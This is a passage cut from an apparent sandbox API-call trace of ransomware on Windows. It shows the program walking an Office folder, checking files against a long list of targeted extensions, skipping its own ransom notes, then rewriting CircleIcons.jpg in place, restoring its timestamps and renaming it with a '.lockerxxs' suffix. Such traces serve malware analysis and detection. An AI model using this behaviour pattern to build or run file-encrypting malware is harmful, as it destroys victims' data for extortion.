(pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.flac") returned 0 [0065.300] lstrlenA (lpString="*.flac") returned 6 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.m4a") returned 0 [0065.300] lstrlenA (lpString="*.m4a") returned 5 [0065.300] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp", pszSpec="*.csv") returned 0 [0065.300] lstrlenA (lpString="*.csv") returned 5 [0065.301] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32cd, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="CircleIcons.jpg", cAlternateFileName="CIRCLE~1.JPG")) returned 1 [0065.301] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.301] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CircleIcons.jpg") returned 1 [0065.301] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CircleIcons.jpg") returned 1 [0065.301] lstrcmpiA (lpString1="", lpString2="CircleIcons.jpg") returned -1 [0065.301] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\BriefcaseIconMask.bmp") returned="BriefcaseIconMask.bmp" [0065.301] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.301] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.301] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.301] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.301] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="CircleIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" [0065.301] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.ems") returned 0 [0065.301] lstrlenA (lpString="*.ems") returned 5 [0065.301] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.db") returned 0 [0065.301] lstrlenA (lpString="*.db") returned 4 [0065.301] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.dbf") returned 0 [0065.301] lstrlenA (lpString="*.dbf") returned 5 [0065.301] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.myox") returned 0 [0065.301] lstrlenA (lpString="*.myox") returned 6 [0065.301] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.myo") returned 0 [0065.301] lstrlenA (lpString="*.myo") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbw") returned 0 [0065.302] lstrlenA (lpString="*.qbw") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbb") returned 0 [0065.302] lstrlenA (lpString="*.qbb") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbm") returned 0 [0065.302] lstrlenA (lpString="*.qbm") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbo") returned 0 [0065.302] lstrlenA (lpString="*.qbo") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbx") returned 0 [0065.302] lstrlenA (lpString="*.qbx") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qba") returned 0 [0065.302] lstrlenA (lpString="*.qba") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qby") returned 0 [0065.302] lstrlenA (lpString="*.qby") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qbj") returned 0 [0065.302] lstrlenA (lpString="*.qbj") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.ofx") returned 0 [0065.302] lstrlenA (lpString="*.ofx") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.qif") returned 0 [0065.302] lstrlenA (lpString="*.qif") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.mye") returned 0 [0065.302] lstrlenA (lpString="*.mye") returned 5 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.mbox") returned 0 [0065.302] lstrlenA (lpString="*.mbox") returned 6 [0065.302] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.eml") returned 0 [0065.303] lstrlenA (lpString="*.eml") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.pst") returned 0 [0065.303] lstrlenA (lpString="*.pst") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.ost") returned 0 [0065.303] lstrlenA (lpString="*.ost") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.idx") returned 0 [0065.303] lstrlenA (lpString="*.idx") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.dbx") returned 0 [0065.303] lstrlenA (lpString="*.dbx") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.sql") returned 0 [0065.303] lstrlenA (lpString="*.sql") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.mdb") returned 0 [0065.303] lstrlenA (lpString="*.mdb") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.fdb") returned 0 [0065.303] lstrlenA (lpString="*.fdb") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.wab") returned 0 [0065.303] lstrlenA (lpString="*.wab") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.dat") returned 0 [0065.303] lstrlenA (lpString="*.dat") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.txt") returned 0 [0065.303] lstrlenA (lpString="*.txt") returned 5 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.jpeg") returned 0 [0065.303] lstrlenA (lpString="*.jpeg") returned 6 [0065.303] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", pszSpec="*.jpg") returned 1 [0065.303] lstrlenA (lpString="*.jpg") returned 5 [0065.303] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" [0065.303] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" [0065.303] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg." [0065.303] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.lockerxxs" [0065.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.305] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x32cd [0065.305] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x60382570, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb486c900, dwHighDateTime=0x1c747ea)) returned 1 [0065.305] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.305] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x32a7, lpOverlapped=0x0) returned 1 [0065.307] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg") returned="CircleIcons.jpg" [0065.307] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.307] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x32a7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x32a7, lpOverlapped=0x0) returned 1 [0065.307] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.307] CloseHandle (hObject=0x98) returned 1 [0065.325] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\circleicons.jpg.lockerxxs")) returned 1 [0065.326] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486c900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb486c900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x114c, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="CircleIconsMask.bmp", cAlternateFileName="CIRCLE~1.BMP")) returned 1 [0065.326] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.326] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CircleIconsMask.bmp") returned 1 [0065.326] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CircleIconsMask.bmp") returned 1 [0065.326] lstrcmpiA (lpString1="", lpString2="CircleIconsMask.bmp") returned -1 [0065.326] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIcons.jpg") returned="CircleIcons.jpg" [0065.326] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.326] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.326] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.326] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.326] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="CircleIconsMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp" [0065.326] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.ems") returned 0 [0065.326] lstrlenA (lpString="*.ems") returned 5 [0065.326] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.db") returned 0 [0065.326] lstrlenA (lpString="*.db") returned 4 [0065.326] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.dbf") returned 0 [0065.326] lstrlenA (lpString="*.dbf") returned 5 [0065.326] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.myox") returned 0 [0065.326] lstrlenA (lpString="*.myox") returned 6 [0065.326] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.myo") returned 0 [0065.326] lstrlenA (lpString="*.myo") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbw") returned 0 [0065.327] lstrlenA (lpString="*.qbw") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbb") returned 0 [0065.327] lstrlenA (lpString="*.qbb") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbm") returned 0 [0065.327] lstrlenA (lpString="*.qbm") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbo") returned 0 [0065.327] lstrlenA (lpString="*.qbo") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbx") returned 0 [0065.327] lstrlenA (lpString="*.qbx") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qba") returned 0 [0065.327] lstrlenA (lpString="*.qba") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qby") returned 0 [0065.327] lstrlenA (lpString="*.qby") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qbj") returned 0 [0065.327] lstrlenA (lpString="*.qbj") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.ofx") returned 0 [0065.327] lstrlenA (lpString="*.ofx") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.qif") returned 0 [0065.327] lstrlenA (lpString="*.qif") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mye") returned 0 [0065.327] lstrlenA (lpString="*.mye") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mbox") returned 0 [0065.327] lstrlenA (lpString="*.mbox") returned 6 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.327] lstrlenA (lpString="*.eml") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.pst") returned 0 [0065.327] lstrlenA (lpString="*.pst") returned 5 [0065.327] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.ost") returned 0 [0065.328] lstrlenA (lpString="*.ost") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.idx") returned 0 [0065.328] lstrlenA (lpString="*.idx") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.dbx") returned 0 [0065.328] lstrlenA (lpString="*.dbx") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.sql") returned 0 [0065.328] lstrlenA (lpString="*.sql") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.mdb") returned 0 [0065.328] lstrlenA (lpString="*.mdb") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.fdb") returned 0 [0065.328] lstrlenA (lpString="*.fdb") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.wab") returned 0 [0065.328] lstrlenA (lpString="*.wab") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.dat") returned 0 [0065.328] lstrlenA (lpString="*.dat") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.txt") returned 0 [0065.328] lstrlenA (lpString="*.txt") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.jpeg") returned 0 [0065.328] lstrlenA (lpString="*.jpeg") returned 6 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.jpg") returned 0 [0065.328] lstrlenA (lpString="*.jpg") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.png") returned 0 [0065.328] lstrlenA (lpString="*.png") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.php") returned 0 [0065.328] lstrlenA (lpString="*.php") returned 5 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.cs") returned 0 [0065.328] lstrlenA (lpString="*.cs") returned 4 [0065.328] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.cpp") returned 0 [0065.329] lstrlenA (lpString="*.cpp") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.rar") returned 0 [0065.329] lstrlenA (lpString="*.rar") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.zip") returned 0 [0065.329] lstrlenA (lpString="*.zip") returned 5 [0065.329] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\CircleIconsMask.bmp", pszSpec="*.html") returned 0 [0065.329] lstrlenA (lpString="*.html") returned 6 [0065.329] PathMatchSpecA 